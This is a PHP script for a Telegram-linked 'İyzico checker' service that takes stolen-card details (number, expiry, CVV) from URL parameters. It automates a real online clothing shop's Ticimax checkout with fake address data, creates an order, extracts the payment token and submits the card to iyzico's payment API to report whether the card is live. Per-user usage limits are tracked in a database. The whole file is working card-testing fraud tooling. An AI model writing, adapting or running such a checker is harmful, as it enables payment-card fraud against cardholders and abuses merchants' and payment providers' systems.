<?php
// İyzico Checker - inannaandco.com (Ticimax)
// URL parametreleri: ?kart=CARDNO|MM|YY|CVV&chatid=CHATID&debug=1

header('Content-Type: text/plain; charset=utf-8');

$timestamp_start = microtime(true);

// Database connection
function getDBConnection() {
    $host = 'localhost';
    $dbname = 'checkerbotdb3';
    $username = 'root';
    $password = '';
    
    try {
        $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch(PDOException $e) {
        die("❌ Database connection failed");
    }
}

// Get current limit
function getCurrentLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("SELECT iyzicolimit FROM users WHERE chatid = ?");
    $stmt->execute([$chatid]);
    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    return $result ? intval($result['iyzicolimit']) : 0;
}

// Decrement limit
function decrementLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("UPDATE users SET iyzicolimit = GREATEST(iyzicolimit - 1, 0) WHERE chatid = ?");
    $stmt->execute([$chatid]);
}

// Parametreleri al
if (!isset($_GET['kart'])) {
    die("❌ Kart bilgisi eksik. Kullanim: ?kart=CARDNO|MM|YY|CVV&chatid=CHATID&debug=1");
}

if (!isset($_GET['chatid'])) {
    die("❌ chatid eksik");
}

$chatid = $_GET['chatid'];
$debug = isset($_GET['debug']);

// Database connection ve limit kontrolü
$pdo = getDBConnection();
$current_limit = getCurrentLimit($pdo, $chatid);

if ($current_limit <= 0) {
    die("❌ Limit Exhausted | 𝐈𝐘𝐙𝐈𝐂𝐎𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Limit'i azalt
decrementLimit($pdo, $chatid);
$remaining_limit = $current_limit - 1;

$kart_bilgisi = explode('|', $_GET['kart']);
if (count($kart_bilgisi) != 4) {
    die("❌ Kart formatı hatalı. Format: CARDNO|MM|YY|CVV");
}

$card_number = $kart_bilgisi[0];
$expire_month = str_pad($kart_bilgisi[1], 2, '0', STR_PAD_LEFT);
$expire_year = $kart_bilgisi[2];
$cvv = $kart_bilgisi[3];

// Year format düzelt (30 -> keep, 2030 -> 30)
if (strlen($expire_year) == 4) {
    $expire_year = substr($expire_year, -2);
}

$cookie_file = __DIR__ . "/cookie_iyzico2_{$chatid}_" . time() . ".txt";

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Step 1: Homepage - Get cookies
curl_setopt($ch, CURLOPT_URL, "https://inannaandco.com/late-night-paradise-skirt-mocha");
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$response1 = curl_exec($ch);

// Parse Set-Cookie headers
$cookies = [];
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response1, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}

$culture_settings = $cookies['CultureSettings'] ?? '';
$tcmxsid = $cookies['TcmxSID'] ?? '';

if ($debug) {
    echo "Step 1: Homepage ✓\n";
    echo "  TcmxSID: " . (strlen($tcmxsid) > 0 ? "Found" : "NOT FOUND") . "\n";
    echo "  CultureSettings: " . (strlen($culture_settings) > 0 ? "Found" : "NOT FOUND") . "\n\n";
}

// Step 2: Add to Cart
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_URL, "https://inannaandco.com/api/cart/AddToCartV3");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    "UrunKartId" => 23,
    "UrunId" => 42,
    "Adet" => 1,
    "AsortiUrunKartId" => 0,
    "KampanyaId" => 0,
    "BagliUrunId" => 0,
    "UrunNot" => "",
    "FormId" => 0,
    "SelectProductGroupPostInfo" => []
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
$response2 = curl_exec($ch);
$data2 = json_decode($response2, true);

if (!isset($data2['cart']['totalAmountStr'])) {
    curl_close($ch);
    @unlink($cookie_file);
    die("❌ Failed to add to cart | 𝐈𝐘𝐙𝐈𝐂𝐎𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

$basket_id = $data2['cart']['guidCartId'] ?? null;
$session_id = $data2['cart']['sid'] ?? '';

if ($debug) {
    echo "Step 2: Add to Cart ✓\n";
    echo "  Basket ID: $basket_id\n";
    echo "  Session ID: " . (strlen($session_id) > 0 ? "Found" : "NOT FOUND") . "\n\n";
}

// Step 3: Save Address
$pixelbrowserid = $cookies['_fbp'] ?? '';

curl_setopt($ch, CURLOPT_URL, "https://checkout-gw.prod.ticimax.net/addresses?lid=60411");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    "institutional" => false,
    "definition" => "Test",
    "name" => "Test User",
    "mail" => "test@example.com",
    "country" => ["id" => 1, "definition" => "Türkiye"],
    "address" => "Test Address 123",
    "phone" => "+90 532 871 17 81",
    "city" => ["id" => 34, "definition" => "İstanbul"],
    "province" => ["id" => 449, "definition" => "Kadıköy"],
    "isDefault" => true
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "Domainname: inannaandco.com",
    "Culturesettings: " . $culture_settings,
    "Sessionid: " . $session_id,
    "Tcmxsid: " . $tcmxsid
]);
$response3 = curl_exec($ch);
$data3 = json_decode($response3, true);
$member_address_data = $data3['memberAddressData'] ?? '';

if ($debug) {
    echo "Step 3: Save Address ✓\n\n";
}

// Step 4: Create Order
curl_setopt($ch, CURLOPT_URL, "https://checkout-gw.prod.ticimax.net/orders?lid=60411");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    "basketId" => $basket_id,
    "deliveryAddressId" => 0,
    "isDifferentInvoiceAddress" => false,
    "invoiceAddressId" => 0,
    "deliveryAddress" => [
        "id" => 0,
        "sessionId" => null,
        "definition" => "Test",
        "name" => "Test User",
        "companyName" => "",
        "phone" => "+90 532 871 17 81",
        "mail" => "test@example.com",
        "address" => "Test Address 123",
        "addressDirection" => "",
        "postCode" => null,
        "building" => ["no" => 0, "floor" => 0, "apartmentNo" => ""],
        "neighbourhood" => null,
        "district" => null,
        "province" => ["id" => 449, "definition" => "Kadıköy", "code" => null],
        "city" => ["id" => 34, "definition" => "İstanbul", "code" => null],
        "country" => [
            "id" => 1,
            "definition" => "Türkiye",
            "code" => "TR",
            "currency" => null,
            "alpha2Code" => "TR",
            "postCodeWithSpace" => false,
            "postCodeRequired" => false,
            "showFinCode" => false
        ],
        "coordinate" => null,
        "tax" => ["administration" => null, "no" => null],
        "institutional" => false,
        "isDefault" => true,
        "isActive" => true,
        "isNotTurkishCitizen" => false,
        "createdDate" => 0,
        "lastModifiedDate" => 0,
        "isInvoiceAddress" => false,
        "finCode" => ""
    ],
    "cargoCompanyInformations" => [["companyId" => 1]],
    "orderProductNotAvailableStatusId" => 0,
    "note" => "",
    "source" => 0,
    "referer" => "https://inannaandco.com/checkout",
    "adSource" => "",
    "isNotWantBag" => false,
    "productOutOfStockStatus" => 0,
    "ticiPassDeliveryAddressId" => null,
    "ticiPassInvoiceAddressId" => null,
    "ticipassToken" => null
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "Domainname: inannaandco.com",
    "Culturesettings: " . $culture_settings,
    "Sessionid: " . $session_id,
    "Tcmxsid: " . $tcmxsid,
    "Memberaddressdata: " . $member_address_data,
    "Clientreferer: https://inannaandco.com/checkout?step=payment",
    "Pixelbrowserid: " . $pixelbrowserid,
    "Origin: https://inannaandco.com",
    "Referer: https://inannaandco.com/"
]);

$response4 = curl_exec($ch);
$data4 = json_decode($response4, true);

if (!isset($data4['id'])) {
    curl_close($ch);
    @unlink($cookie_file);
    die("❌ Failed to create order | 𝐈𝐘𝐙𝐈𝐂𝐎𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

$order_id = $data4['id'];

if ($debug) {
    echo "Step 4: Create Order ✓\n";
    echo "  Order ID: $order_id\n\n";
}

// Step 5: Get Payment Blocks
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, "https://checkout-gw.prod.ticimax.net/orders/$order_id/payment-types/17/blocks?paymentNote=&lid=60411");
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch2, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "Domainname: inannaandco.com",
    "Culturesettings: " . $culture_settings,
    "Sessionid: " . $session_id,
    "Tcmxsid: " . $tcmxsid,
    "Memberaddressdata: " . $member_address_data,
    "Pixelbrowserid: " . $pixelbrowserid,
    "Clientreferer: https://inannaandco.com/checkout?step=payment&id=$order_id"
]);

$response5 = curl_exec($ch2);
$data5 = json_decode($response5, true);

if (!isset($data5['paymentBlock'])) {
    curl_close($ch);
    curl_close($ch2);
    @unlink($cookie_file);
    die("❌ Failed to get payment blocks | 𝐈𝐘𝐙𝐈𝐂𝐎𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Extract token
$html = $data5['paymentBlock'];
if (!preg_match('/token["\']?\s*:\s*["\']([^"\']+)["\']/', $html, $match)) {
    curl_close($ch);
    curl_close($ch2);
    @unlink($cookie_file);
    die("❌ Token not found | 𝐈𝐘𝐙𝐈𝐂𝐎𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

$token = $match[1];

if ($debug) {
    echo "Step 5: Get Payment Blocks ✓\n";
    echo "  Token: $token\n\n";
}

// Step 6: Submit payment to iyzico
$card_data = [
    "installment" => 1,
    "paidPrice" => 1500,
    "paymentChannel" => "WEB",
    "paymentCard" => [
        "cardNumber" => $card_number,
        "cardHolderName" => "TEST USER",
        "expireYear" => $expire_year,
        "expireMonth" => $expire_month,
        "cvc" => $cvv,
        "registerConsumerCard" => false,
        "registerCard" => 0
    ],
    "browserFingerprint" => [
        "language" => "tr",
        "timezone" => -180,
        "hasSessionStorage" => true,
        "hasLocalStorage" => true,
        "hasIndexedDb" => true,
        "hasOpenDb" => true,
        "platform" => "false",
        "hasLiedLanguage" => false,
        "hasLiedResolution" => false,
        "hasLiedOS" => false,
        "hasLiedBrowser" => false,
        "maxTouchPoints" => 0,
        "touchEventSuccess" => false,
        "hasTouchStart" => false,
        "fingerprintHash" => ""
    ]
];

$ch3 = curl_init();
curl_setopt($ch3, CURLOPT_URL, "https://api.iyzipay.com/payment/iyzipos/checkoutform/auth/ecom");
curl_setopt($ch3, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch3, CURLOPT_POST, true);
curl_setopt($ch3, CURLOPT_POSTFIELDS, json_encode($card_data));
curl_setopt($ch3, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch3, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch3, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "Accept: application/json",
    "X-Iyzi-Token: $token",
    "Origin: https://inannaandco.com",
    "Referer: https://inannaandco.com/"
]);

$response6 = curl_exec($ch3);
$data6 = json_decode($response6, true);

$elapsed = round(microtime(true) - $timestamp_start, 2);

curl_close($ch);
curl_close($ch2);
curl_close($ch3);
@unlink($cookie_file);

// Parse result
if (isset($data6['status']) && $data6['status'] == 'success') {
    $payment_status = $data6['paymentStatus'] ?? 'SUCCESS';
    echo "✅ {$payment_status} | {$card_number}|{$expire_month}|{$expire_year}|{$cvv} ({$elapsed}s) Limit:{$remaining_limit} 𝐈𝐘𝐙𝐈𝐂𝐎𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} else {
    $error = "Declined";
    if (isset($data6['errorMessage'])) {
        $error = $data6['errorMessage'];
    } elseif (isset($data6['paymentStatus'])) {
        $error = $data6['paymentStatus'];
    } elseif (isset($data6['message'])) {
        $error = $data6['message'];
    }
    echo "❌ {$error} | {$card_number}|{$expire_month}|{$expire_year}|{$cvv} ({$elapsed}s) Limit:{$remaining_limit} 𝐈𝐘𝐙𝐈𝐂𝐎𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
}

if ($debug) {
    echo "\n\n=== Debug Info ===\n";
    echo "Order ID: $order_id\n";
    echo "Token: $token\n";
    echo "HTTP Code: " . curl_getinfo($ch3, CURLINFO_HTTP_CODE) . "\n";
    echo "\nİyzico Response:\n";
    echo json_encode($data6, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
}
?>
